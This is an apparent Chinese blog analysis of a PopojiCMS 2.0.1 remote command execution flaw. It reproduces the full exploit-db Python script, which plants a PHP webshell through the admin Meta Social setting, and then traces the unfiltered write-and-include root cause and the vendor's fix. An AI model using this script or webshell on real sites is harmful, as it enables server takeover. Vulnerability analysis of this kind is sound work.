从exploit-db官网看到了这个漏洞,从EXP反向分析一下,了解了解其原理。
影响版本:popojicms 2.0.1
下载地址:https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip
EXP分析
EXP地址:https://www.exploit-db.com/exploits/52022
非常简单的代码逻辑,利用过程也比较清晰、比较简单。
- 该脚本首先通过已知的用户名和密码登录PopojiCMS后台。
- 然后编辑Meta Social设置注入恶意代码。
- 注入成功后,可以访问通过webshell执行命令。
# Exploit Title: PopojiCMS 2.0.1 - Remote Command Execution
# Date: 14/04/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.popojicms.org/
# Software Link:
# https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip
# Version: Version : 2.0.1
# Tested on: https://www.softaculous.com/apps/cms/PopojiCMS
import requests
import time
import sys
def exploit(url, username, password):
# 登录
login_url = f"{url}/po-admin/route.php?mod=login&act=proclogin"
login_data = {"username": username, "password": password}
headers = {"Content-Type": "application/x-www-form-urlencoded", "Referer": f"{url}/po-admin/index.php"}
session = requests.Session()
login_response = session.post(login_url, data=login_data, headers=headers)
if "Administrator PopojiCMS" in login_response.text:
print("Login Successful!")
time.sleep(1) # 1 saniye bekle
else:
print("Login Failed!")
return
# 注入
edit_url = f"{url}/po-admin/route.php?mod=setting&act=metasocial"
edit_data = {"meta_content": """<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>"""}
edit_response = session.post(edit_url, data=edit_data, headers=headers)
if "cmd" in edit_response.text:
print("Your shell is ready:", url)
time.sleep(1)
else:
print("Exploit Failed!")
return
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Kullanım: python exploit.py sitename username password")
sys.exit(1)
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
print("Exploiting...")
time.sleep(1)
print("Logging in...")
time.sleep(1)
exploit(url, username, password)
漏洞分析
显然,漏洞的产生是分两部分的:注入和调用(即调用注入的代码进行getshell)。
核心问题在于/po-admin/route.php?mod=setting&act=metasocial
这个路由对应的代码中。
即/po-admin/po-contents/component/setting
模块中的metasocial
函数。
我们在此下个断点:然后注入编辑器代码。
跟踪到此:我们可知我们提交的数据写入到/po-admin/po-content/component/setting/meta_social.txt
并且是没有任何限制的直接写入到此文件中。
上面注入的部分已经完毕,我们看看到底是哪部分包含了meta_social.txt
的代码。
我们跟到index.php
的这段代码:
而我又在po-content/themes/chingsy
目录的index.php
中发现以下代码:
并且经过断点调试,确实是这行代码进行包含。
总结:这样就很清晰了,在注入的时候没有任何限制,在显示的时候没有任何过滤直接包含。
漏洞利用
-
Login
->Pengaturan->Konfig
注入恶意代码。
- 访问网站根目录:
?cmd=whoami
。
漏洞修补
在官网中,并没有给出该版本的修复补丁或者修复方法。
我直接看下一个版本v3.0.0
相比v2.0.1
做了哪些改进。
修补方式还真是粗暴有效,直接把这个功能点给删了!!!